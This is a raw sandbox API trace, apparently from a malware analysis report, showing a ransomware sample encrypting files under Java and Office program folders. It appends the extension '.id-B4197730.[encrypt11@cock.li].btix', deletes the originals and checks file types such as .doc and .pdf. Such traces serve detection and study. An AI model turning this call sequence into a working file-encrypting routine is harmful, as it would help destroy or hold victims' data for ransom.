0x38c [0047.874] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x33eff14 | out: lpFileSize=0x33eff14*=147) returned 1 [0047.874] CloseHandle (hObject=0x38c) returned 1 [0047.874] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif")) returned 0x20 [0047.874] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0047.874] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0047.874] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0047.874] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0047.874] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0047.875] GetLastError () returned 0x0 [0047.875] ReadFile (in: hFile=0x38c, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x93, lpOverlapped=0x0) returned 1 [0047.876] WriteFile (in: hFile=0x390, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xa0, lpOverlapped=0x0) returned 1 [0047.876] ReadFile (in: hFile=0x38c, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0047.876] WriteFile (in: hFile=0x390, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0x102, lpOverlapped=0x0) returned 1 [0047.877] SetEndOfFile (hFile=0x390) returned 1 [0047.877] CloseHandle (hObject=0x390) returned 1 [0047.877] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0047.877] SetEndOfFile (hFile=0x38c) returned 1 [0047.878] CloseHandle (hObject=0x38c) returned 1 [0047.878] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0047.878] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif")) returned 1 [0047.879] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0047.879] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0047.879] lstrlenW (lpString=".doc") returned 4 [0047.879] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0047.879] lstrlenW (lpString=".docx") returned 5 [0047.879] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0047.879] lstrlenW (lpString=".pdf") returned 4 [0047.879] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0047.879] lstrlenW (lpString=".xls") returned 4 [0047.879] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0047.879] lstrlenW (lpString=".xlsx") returned 5 [0047.879] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0047.879] lstrlenW (lpString=".ppt") returned 4 [0047.879] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0047.879] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0047.879] lstrlenW (lpString=".zip") returned 4 [0047.879] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0047.879] lstrlenW (lpString=".rar") returned 4 [0047.879] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0047.879] lstrlenW (lpString=".bz2") returned 4 [0047.879] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0047.879] lstrlenW (lpString=".7z") returned 3 [0047.879] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0047.879] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0047.879] lstrlenW (lpString=".dbf") returned 4 [0047.880] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0047.880] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0047.880] lstrlenW (lpString=".1cd") returned 4 [0047.880] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0047.880] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0047.880] lstrlenW (lpString=".jpg") returned 4 [0047.880] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0047.880] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0047.880] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0047.880] lstrlenW (lpString=".doc") returned 4 [0047.880] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0047.880] lstrlenW (lpString=".docx") returned 5 [0047.880] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0047.880] lstrlenW (lpString=".pdf") returned 4 [0047.880] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0047.880] lstrlenW (lpString=".xls") returned 4 [0047.880] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0047.880] lstrlenW (lpString=".xlsx") returned 5 [0047.880] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0047.880] lstrlenW (lpString=".ppt") returned 4 [0047.880] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0047.880] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0047.880] lstrlenW (lpString=".zip") returned 4 [0047.880] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0047.880] lstrlenW (lpString=".rar") returned 4 [0047.880] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0047.880] lstrlenW (lpString=".bz2") returned 4 [0047.880] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0047.880] lstrlenW (lpString=".7z") returned 3 [0047.880] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0047.880] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0047.880] lstrlenW (lpString=".dbf") returned 4 [0047.880] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0047.880] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0047.881] lstrlenW (lpString=".1cd") returned 4 [0047.881] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0047.881] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0047.881] lstrlenW (lpString=".jpg") returned 4 [0047.881] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0047.881] lstrcmpiW (lpString1=".txt", lpString2=".btix") returned 1 [0047.881] lstrlenW (lpString="jvm.hprof.txt") returned 13 [0047.881] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0047.881] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x33eff14 | out: lpFileSize=0x33eff14*=4226) returned 1 [0047.881] CloseHandle (hObject=0x390) returned 1 [0047.881] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt")) returned 0x20 [0047.881] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0047.881] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0047.881] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0047.882] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0047.882] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0047.882] GetLastError () returned 0x0 [0047.882] ReadFile (in: hFile=0x390, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x1082, lpOverlapped=0x0) returned 1 [0047.975] WriteFile (in: hFile=0x364, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0x1090, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0x1090, lpOverlapped=0x0) returned 1 [0047.976] ReadFile (in: hFile=0x390, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0047.976] WriteFile (in: hFile=0x364, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xee, lpOverlapped=0x0) returned 1 [0047.976] SetEndOfFile (hFile=0x364) returned 1 [0047.976] CloseHandle (hObject=0x364) returned 1 [0047.977] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0047.977] SetEndOfFile (hFile=0x390) returned 1 [0047.977] CloseHandle (hObject=0x390) returned 1 [0047.977] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0047.978] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt")) returned 1 [0047.978] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0047.978] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0047.978] lstrlenW (lpString=".doc") returned 4 [0047.978] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1 [0047.978] lstrlenW (lpString=".docx") returned 5 [0047.978] lstrcmpiW (lpString1=".docx", lpString2="f.txt") returned -1 [0047.978] lstrlenW (lpString=".pdf") returned 4 [0047.978] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1 [0047.978] lstrlenW (lpString=".xls") returned 4 [0047.978] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1 [0047.978] lstrlenW (lpString=".xlsx") returned 5 [0047.978] lstrcmpiW (lpString1=".xlsx", lpString2="f.txt") returned -1 [0047.978] lstrlenW (lpString=".ppt") returned 4 [0047.978] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1 [0047.978] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0047.978] lstrlenW (lpString=".zip") returned 4 [0047.978] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1 [0047.978] lstrlenW (lpString=".rar") returned 4 [0047.978] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1 [0047.978] lstrlenW (lpString=".bz2") returned 4 [0047.978] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1 [0047.978] lstrlenW (lpString=".7z") returned 3 [0047.978] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1 [0047.979] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0047.979] lstrlenW (lpString=".dbf") returned 4 [0047.979] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1 [0047.979] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0047.979] lstrlenW (lpString=".1cd") returned 4 [0047.979] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1 [0047.979] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0047.979] lstrlenW (lpString=".jpg") returned 4 [0047.979] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1 [0047.979] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0047.979] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0047.979] lstrlenW (lpString=".doc") returned 4 [0047.979] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1 [0047.979] lstrlenW (lpString=".docx") returned 5 [0047.979] lstrcmpiW (lpString1=".docx", lpString2="f.txt") returned -1 [0047.979] lstrlenW (lpString=".pdf") returned 4 [0047.979] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1 [0047.979] lstrlenW (lpString=".xls") returned 4 [0047.979] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1 [0047.979] lstrlenW (lpString=".xlsx") returned 5 [0047.979] lstrcmpiW (lpString1=".xlsx", lpString2="f.txt") returned -1 [0047.979] lstrlenW (lpString=".ppt") returned 4 [0047.979] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1 [0047.979] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0047.979] lstrlenW (lpString=".zip") returned 4 [0047.979] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1 [0047.979] lstrlenW (lpString=".rar") returned 4 [0047.979] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1 [0047.979] lstrlenW (lpString=".bz2") returned 4 [0047.979] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1 [0047.979] lstrlenW (lpString=".7z") returned 3 [0047.979] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1 [0047.979] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0047.979] lstrlenW (lpString=".dbf") returned 4 [0047.979] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1 [0047.980] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0047.980] lstrlenW (lpString=".1cd") returned 4 [0047.980] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1 [0047.980] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0047.980] lstrlenW (lpString=".jpg") returned 4 [0047.980] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1 [0047.980] lstrcmpiW (lpString1=".html", lpString2=".btix") returned 1 [0047.980] lstrlenW (lpString="Welcome.html") returned 12 [0047.980] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0047.980] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x33eff14 | out: lpFileSize=0x33eff14*=955) returned 1 [0047.980] CloseHandle (hObject=0x390) returned 1 [0047.980] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html")) returned 0x20 [0047.980] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0047.980] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0047.981] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0047.981] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0047.981] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0047.981] GetLastError () returned 0x0 [0047.981] ReadFile (in: hFile=0x390, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x3bb, lpOverlapped=0x0) returned 1 [0047.998] WriteFile (in: hFile=0x364, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0x3c0, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0x3c0, lpOverlapped=0x0) returned 1 [0047.999] ReadFile (in: hFile=0x390, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0047.999] WriteFile (in: hFile=0x364, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xec, lpOverlapped=0x0) returned 1 [0047.999] SetEndOfFile (hFile=0x364) returned 1 [0047.999] CloseHandle (hObject=0x364) returned 1 [0048.000] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0048.000] SetEndOfFile (hFile=0x390) returned 1 [0048.000] CloseHandle (hObject=0x390) returned 1 [0048.000] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0048.001] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html")) returned 1 [0048.001] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0048.001] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0048.001] lstrlenW (lpString=".doc") returned 4 [0048.001] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1 [0048.001] lstrlenW (lpString=".docx") returned 5 [0048.001] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1 [0048.001] lstrlenW (lpString=".pdf") returned 4 [0048.001] lstrcmpiW (lpString1=".pdf", lpString2="html") returned -1 [0048.001] lstrlenW (lpString=".xls") returned 4 [0048.001] lstrcmpiW (lpString1=".xls", lpString2="html") returned -1 [0048.001] lstrlenW (lpString=".xlsx") returned 5 [0048.001] lstrcmpiW (lpString1=".xlsx", lpString2=".html") returned 1 [0048.001] lstrlenW (lpString=".ppt") returned 4 [0048.001] lstrcmpiW (lpString1=".ppt", lpString2="html") returned -1 [0048.001] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0048.001] lstrlenW (lpString=".zip") returned 4 [0048.002] lstrcmpiW (lpString1=".zip", lpString2="html") returned -1 [0048.002] lstrlenW (lpString=".rar") returned 4 [0048.002] lstrcmpiW (lpString1=".rar", lpString2="html") returned -1 [0048.002] lstrlenW (lpString=".bz2") returned 4 [0048.002] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1 [0048.002] lstrlenW (lpString=".7z") returned 3 [0048.002] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1 [0048.002] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0048.002] lstrlenW (lpString=".dbf") returned 4 [0048.002] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1 [0048.002] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0048.002] lstrlenW (lpString=".1cd") returned 4 [0048.002] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1 [0048.002] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0048.002] lstrlenW (lpString=".jpg") returned 4 [0048.002] lstrcmpiW (lpString1=".jpg", lpString2="html") returned -1 [0048.002] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0048.002] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0048.002] lstrlenW (lpString=".doc") returned 4 [0048.002] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1 [0048.002] lstrlenW (lpString=".docx") returned 5 [0048.002] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1 [0048.002] lstrlenW (lpString=".pdf") returned 4 [0048.002] lstrcmpiW (lpString1=".pdf", lpString2="html") returned -1 [0048.002] lstrlenW (lpString=".xls") returned 4 [0048.002] lstrcmpiW (lpString1=".xls", lpString2="html") returned -1 [0048.002] lstrlenW (lpString=".xlsx") returned 5 [0048.002] lstrcmpiW (lpString1=".xlsx", lpString2=".html") returned 1 [0048.002] lstrlenW (lpString=".ppt") returned 4 [0048.002] lstrcmpiW (lpString1=".ppt", lpString2="html") returned -1 [0048.002] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0048.003] lstrlenW (lpString=".zip") returned 4 [0048.003] lstrcmpiW (lpString1=".zip", lpString2="html") returned -1 [0048.003] lstrlenW (lpString=".rar") returned 4 [0048.003] lstrcmpiW (lpString1=".rar", lpString2="html") returned -1 [0048.003] lstrlenW (lpString=".bz2") returned 4 [0048.003] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1 [0048.003] lstrlenW (lpString=".7z") returned 3 [0048.003] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1 [0048.003] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0048.003] lstrlenW (lpString=".dbf") returned 4 [0048.003] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1 [0048.003] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0048.003] lstrlenW (lpString=".1cd") returned 4 [0048.003] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1 [0048.003] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0048.003] lstrlenW (lpString=".jpg") returned 4 [0048.003] lstrcmpiW (lpString1=".jpg", lpString2="html") returned -1 [0048.003] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0048.003] lstrlenW (lpString="AppXManifest.xml") returned 16 [0048.003] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0048.003] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x33eff14 | out: lpFileSize=0x33eff14*=5944055) returned 1 [0048.003] CloseHandle (hObject=0x390) returned 1 [0048.004] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml")) returned 0x20 [0048.004] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0048.004] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 1 [0048.004] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0048.004] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efc64 | out: lpNewFilePointer=0x0) returned 1 [0048.004] 